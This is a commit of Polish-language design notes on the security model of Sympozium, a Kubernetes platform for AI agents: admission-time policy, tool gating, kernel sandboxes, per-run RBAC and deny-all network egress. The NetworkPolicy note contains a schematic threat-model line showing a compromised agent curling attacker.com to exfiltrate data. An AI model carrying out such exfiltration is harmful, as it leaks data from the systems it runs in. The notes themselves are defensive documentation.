initial commit

This commit is contained in:
2026-03-25 00:05:57 +01:00
commit 25c7d598ca
63 changed files with 5257 additions and 0 deletions

View File

@@ -0,0 +1,69 @@
# Admission Webhooks i polityki
#sympozium #security #admission #webhook
## Koncepcja
Polityki Sympozium są enforcowane **at admission time** - przed utworzeniem poda, nie at runtime. To gwarantuje że żaden AgentRun nie ominie polityki.
## Przepływ
```
kubectl apply -f agentrun.yaml
K8s API Server → Admission Webhook
Webhook:
1. Odczytuje policyRef z SympoziumInstance
2. Ładuje SympoziumPolicy
3. Sprawdza:
├── Sandbox requirements (required? image? resources?)
├── Agent Sandbox requirements (runtime class allowed?)
├── Tool gating (allow/deny/ask per tool)
├── Feature gates (memory? web-endpoint? channels?)
├── Subagent limits (maxDepth? maxConcurrent?)
└── Network policy rules
4. ALLOW → AgentRun created
DENY → AgentRun rejected z clear error message
```
## Kluczowe różnice vs runtime enforcement
| Aspekt | Admission-time | Runtime |
|--------|---------------|---------|
| Timing | Przed tworzeniem zasobu | Po uruchomieniu |
| Obejście | Niemożliwe (K8s API layer) | Możliwe (process-level) |
| Feedback | Natychmiast (synchroniczny) | Opóźniony (async) |
| Overhead | Tylko przy tworzeniu | Ciągły monitoring |
## Tool Gating
```yaml
toolGating:
defaultAction: deny
rules:
- tool: read_file
action: allow
- tool: execute_command
action: deny
- tool: write_file
action: ask # Human-in-the-loop
```
Trzy akcje:
- `allow` - tool dozwolony
- `deny` - tool zablokowany (webhook reject)
- `ask` - wymaga human approval (future feature)
## Presetowe polityki
```
config/policies/
├── permissive.yaml # Dev/demo: all allowed
├── default.yaml # General: execute_command requires approval
└── restrictive.yaml # Production: deny-by-default, whitelist
```
---
Powiązane: [[SympoziumPolicy]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[Efemeryczny RBAC per-run]]

View File

@@ -0,0 +1,108 @@
# Agent Sandbox - gVisor i Kata
#sympozium #security #sandbox #gvisor #kata
## Koncepcja
Agent Sandbox to **opcjonalna warstwa izolacji na poziomie kernela** integrująca `kubernetes-sigs/agent-sandbox`. Zamiast tworzenia [[Job]], [[Controller i Reconciler|controller]] tworzy Sandbox CR (patrz [[CRD - Custom Resource Definition|CRD]]).
## Porównanie
| Cecha | Default (Job) | Agent Sandbox |
|-------|---------------|---------------|
| Izolacja | Container (cgroups, namespaces) | Kernel-level |
| [[gVisor]] | Nie | Tak - user-space kernel |
| [[Kata Containers\|Kata]] | Nie | Tak - lightweight VM |
| Cold start | 5-30s | Warm pools: ~1s |
| Lifecycle | Run-to-completion | Suspend/resume |
| Identity | Ephemeral pod name | Stable hostname |
| Overhead | Niski | gVisor ~5-10%, Kata ~VM |
## Architektura
```
AgentRun (agentSandbox.enabled: true)
├── Normalny flow: Controller → Sandbox CR
│ └── spec.podTemplate = ten sam co Job
│ └── spec.runtimeClassName: gvisor/kata
│ └── ownerReference → AgentRun
└── Z warm pool: Controller → SandboxClaim
└── Claims pre-warmed sandbox z SandboxWarmPool
```
## Warm Pools
Eliminują cold start:
```
Bez warm pool:
AgentRun → Sandbox CR → Pod scheduled → Image pulled → Ready
(~5-30 sekund)
Z warm pool:
AgentRun → SandboxClaim → Pre-warmed sandbox → Ready
(~1 sekunda)
```
### Konfiguracja
```yaml
# SympoziumInstance
spec:
agents:
default:
agentSandbox:
enabled: true
warmPool:
size: 3 # 3 pre-warmed sandboxes
runtimeClass: gvisor
```
Controller automatycznie tworzy SandboxWarmPool CR.
## Policy enforcement
```yaml
# SympoziumPolicy
spec:
sandboxPolicy:
agentSandboxPolicy:
required: true # WYMUSZAJ agent-sandbox
defaultRuntimeClass: gvisor
allowedRuntimeClasses: [gvisor, kata] # Whitelist runtimes
```
## Komplementarność z innymi warstwami
Agent Sandbox **uzupełnia** istniejące zabezpieczenia:
| Warstwa | Aktywna z Agent Sandbox? |
|---------|--------------------------|
| NetworkPolicy deny-all | Tak |
| Pod SecurityContext | Tak |
| SympoziumPolicy webhook | Tak |
| Ephemeral skill RBAC | Tak |
| Seccomp profile | Tak |
| **+ Kernel isolation** | **NOWE** |
## Graceful degradation
| Scenariusz | Zachowanie |
|------------|------------|
| Disabled w Helm | Zero code paths, zero overhead |
| Enabled, CRDs not installed | Warning log, feature disabled |
| Enabled, CRDs installed, no gVisor | Sandbox CRs work, no kernel isolation |
| Fully configured | Full kernel-level isolation |
## Mutual exclusivity
Dwa koncepty "sandbox":
- `sandbox.enabled` → sidecar container (stary)
- `agentSandbox.enabled` → Sandbox CR (nowy, kernel-level)
Nie mogą być oba włączone - webhook to enforcuje.
---
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[SympoziumPolicy]] | [[Model efemerycznych agentów]]

View File

@@ -0,0 +1,77 @@
# Efemeryczny RBAC per-run
#sympozium #security #rbac
## Koncepcja
Odpowiednik **temporary IAM session credentials** w Kubernetes (patrz [[RBAC]] dla wyjaśnienia systemu). Credentials istnieją TYLKO przez czas trwania AgentRun.
## Lifecycle
```
AgentRun CREATED
Controller tworzy:
├── Role (namespace-scoped)
│ ├── ownerRef → AgentRun
│ └── rules: [z SkillPack.sidecar.rbac]
├── RoleBinding
│ ├── ownerRef → AgentRun
│ └── subject → ServiceAccount "sympozium-agent"
├── ClusterRole (cluster-scoped)
│ ├── labels: sympozium.ai/agentrun: <name>
│ └── rules: [z SkillPack.sidecar.clusterRBAC]
└── ClusterRoleBinding
├── labels: sympozium.ai/agentrun: <name>
└── subject → ServiceAccount "sympozium-agent"
[CREDENTIALS ACTIVE - sidecar can use them]
AgentRun COMPLETED
Controller czyści:
├── Namespace RBAC → auto via ownerReference (K8s GC)
└── Cluster RBAC → manual via label selector (controller)
[CREDENTIALS DELETED - no standing access]
```
## Dlaczego nie standing role?
### Problem standing god-role:
```
ServiceAccount z cluster-admin → ZAWSZE ma pełne uprawnienia
→ Compromised pod = pełny dostęp do klastra
→ Brak auditu "kto kiedy co robił"
```
### Ephemeral RBAC:
```
Run #1: Role [get pods] → exists for 30s → deleted
Run #2: Role [get deployments] → exists for 45s → deleted
→ Credentials istnieją minimum possible time
→ Każdy run ma TYLKO te uprawnienia które potrzebuje
→ Pełny audit trail (RBAC resources w etcd)
```
## Controller privilege
Controller sam potrzebuje `cluster-admin` bo:
- Tworzy dowolne Role/ClusterRole (definiowane w SkillPacks)
- K8s RBAC escalation prevention wymaga tego
- To jedyny komponent z takimi uprawnieniami
## Namespace vs Cluster scope
| Typ | Mechanizm cleanup | Scope |
|-----|-------------------|-------|
| Role + RoleBinding | ownerReference → AgentRun | Namespace |
| ClusterRole + ClusterRoleBinding | Label selector → controller cleanup | Cluster |
[[Namespace]]-scoped RBAC jest automatycznie garbage-collected przez K8s gdy AgentRun jest usunięty ([[ownerReference|ownerRef]] chain).
Cluster RBAC nie może mieć cross-namespace ownerRef (ograniczenie K8s - patrz [[ownerReference]]), więc [[Controller i Reconciler|controller]] czyści ręcznie po labelach.
---
Powiązane: [[Skill Sidecars i auto-RBAC]] | [[Model bezpieczeństwa Defence-in-Depth]] | [[SkillPack]]

View File

@@ -0,0 +1,112 @@
# Model bezpieczeństwa Defence-in-Depth
#sympozium #security #defence-in-depth
## Filozofia
Sympozium implementuje **defence-in-depth** - wiele niezależnych warstw bezpieczeństwa, gdzie przełamanie jednej nie daje dostępu do systemu.
## Warstwy bezpieczeństwa
```
┌───────────────────────────────────────────────┐
│ Warstwa 7: Agent Sandbox (gVisor/Kata) │ ← Izolacja kernela
│ ┌───────────────────────────────────────────┐│
│ │ Warstwa 6: NetworkPolicy (deny-all) ││ ← Izolacja sieciowa
│ │ ┌───────────────────────────────────────┐││
│ │ │ Warstwa 5: Admission Webhook │││ ← Walidacja przed tworzeniem
│ │ │ ┌───────────────────────────────────┐│││
│ │ │ │ Warstwa 4: Ephemeral RBAC ││││ ← Efemeryczne credentials
│ │ │ │ ┌───────────────────────────────┐││││
│ │ │ │ │ Warstwa 3: Pod SecurityContext │││││ ← Hardened container
│ │ │ │ │ ┌───────────────────────────┐│││││
│ │ │ │ │ │ Warstwa 2: Sidecar isol. ││││││ ← Separacja credentials
│ │ │ │ │ │ ┌───────────────────────┐│││││││
│ │ │ │ │ │ │ Warstwa 1: Ephemeral ││││││││ ← Krótki czas życia
│ │ │ │ │ │ │ pod lifecycle ││││││││
│ │ │ │ │ │ └───────────────────────┘│││││││
│ │ │ │ │ └───────────────────────────┘││││││
│ │ │ │ └───────────────────────────────┘│││││
│ │ │ └───────────────────────────────────┘││││
│ │ └───────────────────────────────────────┘│││
│ └───────────────────────────────────────────┘││
└───────────────────────────────────────────────┘│
Multi-tenancy (namespaced CRDs + K8s RBAC) ─────┘
```
## Szczegóły warstw
### Warstwa 1: Ephemeral [[Pod]] Lifecycle
- Każdy run = nowy pod = czyste środowisko
- Brak persistent state w podzie
- Automatyczny cleanup po zakończeniu
- **Atak musi się zmieścić w jednym runie**
### Warstwa 2: [[Sidecar Pattern|Sidecar]] Isolation
- Agent NIE MA credentials K8s API
- Tylko skill sidecar ma [[RBAC]]
- Tool calls przechodzą przez IPC (filesystem → NATS)
- **Compromised agent nie ma bezpośredniego dostępu do klastra**
### Warstwa 3: Pod [[SecurityContext]]
```yaml
securityContext:
runAsNonRoot: true
runAsUser: 1000
readOnlyRootFilesystem: true
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
seccompProfile:
type: RuntimeDefault
```
### Warstwa 4: Ephemeral [[RBAC]]
- Credentials żyją TYLKO przez czas runu
- Least-privilege (deklarowane w SkillPack)
- [[Namespace]]-scoped ([[ownerReference|ownerRef]] GC) + Cluster-scoped (label-based cleanup)
- **Brak standing god-role**
### Warstwa 5: [[Admission Webhook]]
- `SympoziumPolicy` enforced PRZED tworzeniem poda
- Tool gating (allow/deny/ask per tool)
- Sandbox requirements
- Feature gates
- **Policy nie może być obejścia at runtime**
### Warstwa 6: [[NetworkPolicy]]
- Deny-all egress na agent pods
- Tylko IPC bridge ma dostęp do NATS
- Whitelist konkretnych endpointów (API providerów)
- **Agent nie może sięgnąć do internetu ani innych podów**
### Warstwa 7: Agent Sandbox (opcjonalna)
- [[gVisor]]: user-space kernel - agent nie komunikuje się z host kernel
- [[Kata Containers|Kata]]: lightweight VM - pełna izolacja na poziomie hypervisora
- Warm pools eliminują cold-start penalty
- **Nawet container escape nie daje dostępu do hosta**
## Multi-tenancy
Dodatkowa warstwa ortogonalna do powyższych:
- CRDs namespace-scoped
- Standard K8s RBAC kontroluje kto tworzy agentów
- Każdy tenant (SympoziumInstance) izolowany
- ownerReferences zapobiegają cross-tenant access
## Porównanie z alternatywami
| Warstwa | Sympozium | kagent | LangChain |
|---------|-----------|--------|-----------|
| Ephemeral lifecycle | Job per run | Persistent engine | In-process |
| Sidecar isolation | Tak | Nie | Nie |
| SecurityContext | Hardened | Standard | N/A |
| Ephemeral RBAC | Tak | Standing SA | N/A |
| Admission webhook | SympoziumPolicy | Nie | Nie |
| NetworkPolicy | deny-all | Nie | Nie |
| Kernel sandbox | gVisor/Kata | Nie | Nie |
---
Powiązane: [[Agent Sandbox - gVisor i Kata]] | [[Efemeryczny RBAC per-run]] | [[NetworkPolicy i izolacja sieciowa]]

View File

@@ -0,0 +1,76 @@
# NetworkPolicy i izolacja sieciowa
#sympozium #security #network
## Zasada
Agent pods mają **deny-all egress** - nie mogą komunikować się z internetem ani innymi podami. Jedyny punkt kontaktu to IPC Bridge sidecar → NATS.
## Implementacja
```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: agent-deny-all
spec:
podSelector:
matchLabels:
sympozium.ai/component: agent
policyTypes:
- Egress
egress: [] # DENY ALL
```
## Wyjątki (via SympoziumPolicy)
```yaml
networkPolicy:
denyAll: true
allowDNS: true # Agent może rozwiązywać nazwy
allowEventBus: true # IPC Bridge → NATS
allowedEgress: # Whitelist
- host: "api.openai.com"
port: 443
```
## Dlaczego to ważne?
### Scenariusz ataku bez NetworkPolicy:
```
Compromised agent → curl attacker.com → exfiltrate data
Compromised agent → curl internal-api.svc → lateral movement
```
### Z NetworkPolicy:
```
Compromised agent → curl anything → BLOCKED
Agent → /ipc/*.json → IPC Bridge → NATS → Controller (kontrolowany przepływ)
```
## Architektura izolacji
```
┌─────────────────────────────────────────┐
│ Agent Pod (deny-all egress) │
│ │
│ ┌──────────┐ ┌──────────────┐ │
│ │ Agent │ │ IPC Bridge │→→→ NATS │
│ │ (no net)│ │ (has net) │ │
│ └──────────┘ └──────────────┘ │
│ │ │
│ └── /ipc/ (filesystem only) ──────┘│
└──────────────────────────────────────────┘
```
Agent kontener:
- Brak dostępu sieciowego
- Komunikacja tylko przez filesystem (/ipc/)
IPC Bridge sidecar:
- Ma dostęp TYLKO do NATS
- Bridguje filesystem → NATS
---
Powiązane: [[Model bezpieczeństwa Defence-in-Depth]] | [[Przepływ danych i IPC]] | [[SympoziumPolicy]]